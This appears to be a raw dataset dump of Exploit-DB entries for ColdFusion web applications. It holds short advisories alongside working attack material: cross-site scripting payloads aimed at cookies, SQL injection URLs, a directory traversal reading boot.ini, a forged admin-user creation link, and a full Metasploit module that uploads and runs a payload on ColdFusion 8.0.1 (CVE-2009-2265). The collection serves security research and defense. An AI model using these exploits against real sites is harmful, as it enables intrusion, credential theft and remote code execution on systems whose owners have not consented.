deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27490
Description: ClassifiedZONE 1.2 - 'Accountlogon.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17273/info

The classifiedZONE script is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

/accountlogon.cfm?rtn=%22%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #16788
Description: ColdFusion 8.0.1 - Arbitrary File Upload / Execution (Metasploit)
Type: webapps
Platform: cfm
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: coldfusion_fckeditor.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ColdFusion 8.0.1 Arbitrary File Upload and Execute',
			'Description'    => %q{
					This module exploits the Adobe ColdFusion 8.0.1 FCKeditor 'CurrentFolder' File Upload
				and Execute vulnerability.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11127 $',
			'Platform'       => 'win',
			'Privileged'     => true,
			'References'     =>
				[
					[ 'CVE', '2009-2265' ],
					[ 'OSVDB', '55684'],
				],
			'Targets'        =>
				[
					[ 'Universal Windows Target',
						{
							'Arch'     => ARCH_JAVA,
							'Payload'  =>
								{
									'DisableNops' => true,
								},
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 3 2009'
		))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('FCKEDITOR_DIR', [ false, 'The path to upload.cfm ', '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm' ]),
			], self.class )
	end

	def exploit

		page  = rand_text_alpha_upper(rand(10) + 1) + ".jsp"

		dbl = Rex::MIME::Message.new
		dbl.add_part(payload.encoded, "application/x-java-archive", nil, "form-data; name=\"newfile\"; filename=\"#{rand_text_alpha_upper(8)}.txt\"")
		file = dbl.to_s
		file.strip!

		print_status("Sending our POST request...")

		res = send_request_cgi(
			{
				'uri'		=> "#{datastore['FCKEDITOR_DIR']}",
				'query'		=> "Command=FileUpload&Type=File&CurrentFolder=/#{page}%00",
				'version'	=> '1.1',
				'method'	=> 'POST',
				'ctype'		=> 'multipart/form-data; boundary=' + dbl.bound,
				'data'		=> file,
			}, 5)

		if ( res and res.code == 200 and res.body =~ /OnUploadCompleted/ )
			print_status("Upload succeeded! Executing payload...")

			send_request_raw(
				{
					# default path in Adobe ColdFusion 8.0.1.
					'uri'		=> '/userfiles/file/' + page,
					'method'	=> 'GET',
				}, 5)

			handler
		else
			print_error("Upload Failed...")
			return
		end

	end
end
Exploit-DB #33575
Description: CommonSpot Server - '/utilities/longproc.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2010-01-28
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/37986/info

CommonSpot Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

https://www.example.com/commonspot/utilities/longproc.cfm?onlyurlvars=1&url=%27;--%3E%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E
Exploit-DB #26910
Description: E-Publish 2.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: cfm
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15964/info

E-Publish is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

This issue reportedly affects version 2.0 of E-Publish; other versions may also be affected. 

http://www.example.com/printer_friendly.cfm?id=[SQL]
http://www.example.com/show.cfm?id=274&obcatid=10[XSS]
http://www.example.com/show.cfm?id=279&how=5&obcatid=9&shfrm=1&comid=[XSS]
Exploit-DB #24081
Description: E-Zone Media FuzeTalk 2.0 - 'AddUser.cfm' Administrator Command Execution
Type: webapps
Platform: cfm
Date: 2004-05-05
Author: Stuart Jamieson

Exploit:
source: https://www.securityfocus.com/bid/10276/info

It has been reported that FuseTalk is affected by an administrator command execution vulnerability in the adduser.cfm script. This issue is due to a failure of the application to properly validate the origin of user supplied data.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed by a forum administrator, the attacker supplied command would be carried out with the viewer's privileges. This would occur in the security context of the affected web site and may allow creation of arbitrary users, and other attacks.

http://www.example.com/admin/adduser.cfm?FTVAR_FIRSTNAMEFRM=God&FTVAR_LASTNAMEFRM=God&FTVAR_EMAILADDRESSFRM=Attacker@acker.com&FTVAR_USERNAMEFRM=attacker&FTVAR_PASSWORDFRM=coolpass&FTVAR_PASSWORD2FRM=coolpass&FTVAR_USERFORUMSFRM=0&FTVAR_USERTYPEFRM=g&FTVAR_USERLEVELFRM=0&FTVAR_STATUSFRM=1&FTVAR_CITYFRM=&FTVAR_STATEFRM=70&FTVAR_COUNTRYFRM=36&FTVAR_SCRIPTRUN=self.close%28%29%3B&FTVAR_RETURNERROR=Yes&FT_ACTION=adduser
Exploit-DB #26065
Description: Fusebox 4.1 - 'index.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-08-03
Author: N.N.P

Exploit:
source: https://www.securityfocus.com/bid/14460/info

Fusebox is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects Fusebox version 4.1.0; other versions may also be vulnerable.

This issue is not believed to exist because the product does not ship with layout configuration files; this has not been confirmed by Symantec. 

http://www.example.com/index.cfm?fuseaction="><script>alert(document.cookie)</script><
http://www.example.com/index.cfm?fuseaction=fusebox.overview"><script>alert(document.cookie)</script><
Exploit-DB #30202
Description: FuseTalk 2.0/3.0 - 'AuthError.cfm' SQL Injection
Type: webapps
Platform: cfm
Date: 2007-06-19
Author: Ivan Almuina

Exploit:
source: https://www.securityfocus.com/bid/24528/info

FuseTalk is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

NOTE: Specific vulnerable versions were not disclosed. Reports also indicate that this issue has been addressed in the latest version of the application. 

http://www.example.com/forum/include/error/autherror.cfm?FTVAR_URLP=x&errorcode=[SQL_INJ]
Exploit-DB #30216
Description: FuseTalk 4.0 - 'AuthError.cfm' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cfm
Date: 2007-06-20
Author: Ivan Almuina

Exploit:
source: https://www.securityfocus.com/bid/24564/info

FuseTalk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/forum/include/error/autherror.cfm?errorcode=1
&FTVAR_LINKP=[xss]

http://www.example.com/blog/forum/include/error/autherror.cfm?errorcode=1
&FTVAR_URLP=[xss]
Exploit-DB #30206
Description: FuseTalk 4.0 - 'forum/include/common/comfinish.cfm?FTVAR_SCRIPTRUN' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2007-06-20
Author: Ivan Almuina

Exploit:
source: https://www.securityfocus.com/bid/24563/info

FuseTalk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/forum/include/common/comfinish.cfm?FTRESULT.errorcode=0&FTVAR_SCRIPTRUN=[xss]
Exploit-DB #24680
Description: FuseTalk Forum 4.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cfm
Date: 2004-10-13
Author: steven

Exploit:
source: https://www.securityfocus.com/bid/11407/info

FuseTalk Forum is reported prone to multiple input validation vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting attacks. The cause of these issues is insufficient sanitization of user-supplied data.

The first issue is reported to exist because the software echoes unsanitized request data as part of an error page to the origin of the request. This makes it possible for an attacker to a construct a malicious link containing HTML or script code, the attacker-supplied code will be rendered as part of an error message if a target user follows the malicious URI link.

FuseTalk Forum is reported prone to an additional cross-site scripting vulnerability.

The problem presents itself when malicious HTML and script code is sent to the 'tombstone.cfm' script through a URI parameter.

This may allow for theft of cookie-based authentication credentials or other attacks.

www.example.com\tombstone.cfm?ProfileID=<script>alert(document.cookie)</script>
Exploit-DB #27489
Description: FusionZONE CouponZONE 4.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cfm
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17272/info

The couponZONE application is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.


Version 4.2 of couponZONE is reported to be vulnerable. Other versions may be affected as well.

The following examples have been provided:
http://www.example.com/local.cfm?srchfor=%3Cscript%3Ealert%28%27r0t%27%29%3
C%2Fscript%3E&cat=0&x=95&y=13&RequestTimeOut=500&redi
r=listings&srchby=fr&scat=0

http://www.example.com/local.cfm?srchfor=&cat=0&x=78&y=22&RequestTimeOut=50
0&redir=listings&srchby=%22%3Cscript%3Ealert('r0t')%3
C/script%3E
Exploit-DB #27491
Description: FusionZONE CouponZONE 4.2 - Multiple SQL Injections
Type: webapps
Platform: cfm
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17274/info

The couponZONE application is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 4.2 of couponZONE reported vulnerable. Other versions may be affected as well.

http://www.example.com/local.cfm?redir=listings&srchby=&companyid=[SQL]
http://www.example.com/local.cfm?redir=listings&srchby=ct&cat=&scat=[SQL]
http://www.example.com/local.cfm?redir=adv_details&coid=[SQL]
Exploit-DB #29334
Description: Future Internet - 'index.cfm' Multiple SQL Injections
Type: webapps
Platform: cfm
Date: 2006-12-23
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/21727/info

Future Internet is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.

An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path_of_script/index.cfm?fuseaction=Portal.Showpage&categoryid=311&newsId=[SQL]
http://www.example.com/path_of_script/index.cfm?fuseaction=Portal.Showpage&categoryid=[SQL]
http://www.example.com/path_of_script/index.cfm?langId=[SQL]
Exploit-DB #29335
Description: Future Internet - 'index.cfm?categoryId' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2006-12-23
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/21727/info
 
Future Internet is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/path_of_script/index.cfm?fuseaction=Portal.ShowPage&categoryId=[XSS]
Exploit-DB #21493
Description: Gafware CFXImage 1.6.4/1.6.6 - ShowTemp File Disclosure
Type: webapps
Platform: cfm
Date: 2002-05-29
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/4882/info

Gafware's CFXImage is a custom tag for ColdFusion.

A program included with the CFXImage documentation doesn't properly filter its input. It is reported that a flaw exists in this program that allows a malicious user to read files outside of the permitted directory structure. By using directory traversal sequences (i.e. '/../', '..') or specifying a filename, an attacker can obtain files that may contain potentially sensitive information. 

http://www.server.com/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\boot.ini
http://www.server.com/docs/showtemp.cfm?TYPE=JPEG&FILE=../../../../../../../../../../../../../../../../../../boot.ini

This allows the attacker to view the contents of 'c:\boot.ini'.
Exploit-DB #26882
Description: Hot Banana Web Content Management Suite 5.3 - Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15948/info

Web Content Management Suite is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect version 5.3; earlier versions may also be vulnerable.

http://www.example.com/search/index.cfm?keywords=[XSS]&x=25&y=9
Exploit-DB #22486
Description: InstaBoard 1.3 - 'index.cfm' SQL Injection
Type: webapps
Platform: cfm
Date: 2003-04-14
Author: Jim Dew

Exploit:
source: https://www.securityfocus.com/bid/7338/info

It has been reported that multiple input validation errors exist in the index.cfm file included with InstaBoard. Because of this issue, remote attackers may launch SQL injection attacks through the software.

The consequences may vary depending on the particular database implementation and the nature of the specific queries. SQL injection also makes it possible, under some circumstances, to exploit latent vulnerabilities that may exist in the underlying database.

It should be noted that although this vulnerability has been reported to affect InstaBoard version 1.3 previous versions might also be affected. 

http://www.example.com/instaboard/index.cfm?frmid=1%20AND%20u.userid%20IN%20(select%20userid%20from%20users)
http://www.example.com/instaboard/index.cfm?frmid=1&tpcid=1%20SQL
http://www.example.com/instaboard/index.cfm?frmid=1%20SQL&tpcid=1
http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1%20SQL&msgid=11
http://www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11%20SQL
http://www.example.com/instaboard/index.cfm?catid=1%20SQL
Exploit-DB #22544
Description: Macromedia ColdFusion MX 6.0 - Error Message Full Path Disclosure
Type: webapps
Platform: cfm
Date: 2003-04-26
Author: Network Intelligence

Exploit:
source: https://www.securityfocus.com/bid/7443/info

A vulnerability has been reported for Macromedia ColdFusion MX that may reveal the physical path information to attackers.

When certain malformed URL requests are received by the server, an error message is returned containing the full path of the ColdFusion installation.

http://host:8500/CFIDE/probe.cfm
Exploit-DB #23256
Description: Macromedia ColdFusion MX 6.0 - SQL Error Message Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2003-10-15
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8840/info

It has been reported that Macromedia ColdFusion MX may be prone to a cross-site scripting vulnerability due to improper handling of error messages generated by the underlying database. This problem may be exploited by an attacker to construct a malicious link containing HTML or script code that may be rendered in a user's browser upon visiting that link. If successful, an attacker may obtain access to cookie-based authentication credentials that may lead to other attacks. This attack would occur in the security context of the vulnerable site.

Macromedia ColdFusion MX version 6.0 may be vulnerable to this issue, however other versions may be affected as well. 

http://www.example.com/article.cfm?id=1'<script>alert(document.cookie);</script>
Exploit-DB #26772
Description: Magic Book Professional 2.0 - 'Book.cfm' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2005-12-12
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15805/info

Magic Book Professional is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 2.0 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/book.cfm?StartRow=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #26764
Description: Magic Forum Personal - 'view_forum.cfm?ForumID' SQL Injection
Type: webapps
Platform: cfm
Date: 2005-12-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15774/info
 
CFMagic Products are prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
 
These vulnerabilities allow an attacker to inject malicious SQL code into database queries, and conduct cross-site scripting attacks.
 
Magic Book Professional version 2.0 and prior, Magic List Professional version 2.5 and prior, and Magic Forum Personal versions 2.5 and prior are vulnerable.
 
Other versions of these applications may also be affected. 

http://www.example.com/view_forum.cfm?ForumID=1[SQL]
Exploit-DB #26765
Description: Magic Forum Personal - 'view_thread.cfm' Multiple SQL Injections
Type: webapps
Platform: cfm
Date: 2005-12-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15774/info
  
CFMagic Products are prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
  
These vulnerabilities allow an attacker to inject malicious SQL code into database queries, and conduct cross-site scripting attacks.
  
Magic Book Professional version 2.0 and prior, Magic List Professional version 2.5 and prior, and Magic Forum Personal versions 2.5 and prior are vulnerable.
  
Other versions of these applications may also be affected. 

http://www.example.com/view_thread.cfm?ForumID=1[SQL]

http://www.example.com/view_thread.cfm?ForumID=1&ThreadID=1&Thread=1[SQL]

http://www.example.com/view_thread.cfm?ForumID=1&ThreadID=1[SQL]
Exploit-DB #26763
Description: Magic List Pro - 'view_archive.cfm?ListID' SQL Injection
Type: webapps
Platform: cfm
Date: 2005-12-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15774/info

CFMagic Products are prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.

These vulnerabilities allow an attacker to inject malicious SQL code into database queries, and conduct cross-site scripting attacks.

Magic Book Professional version 2.0 and prior, Magic List Professional version 2.5 and prior, and Magic Forum Personal versions 2.5 and prior are vulnerable.

Other versions of these applications may also be affected. 

http://www.example.com/view_archive.cfm?ListID=[SQL]
Exploit-DB #33916
Description: Mango Blog 1.4.1 - '/archives.cfm/search' Cross-Site Scripting
Type: webapps
Platform: cfm
Date: 2010-05-03
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/39864/info

Mango Blog is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Mango Blog 1.4.2 are vulnerable. 

http://www.example.com/archives.cfm/search/?term=%3Cbody%20onload=alert(document.cookie)%3E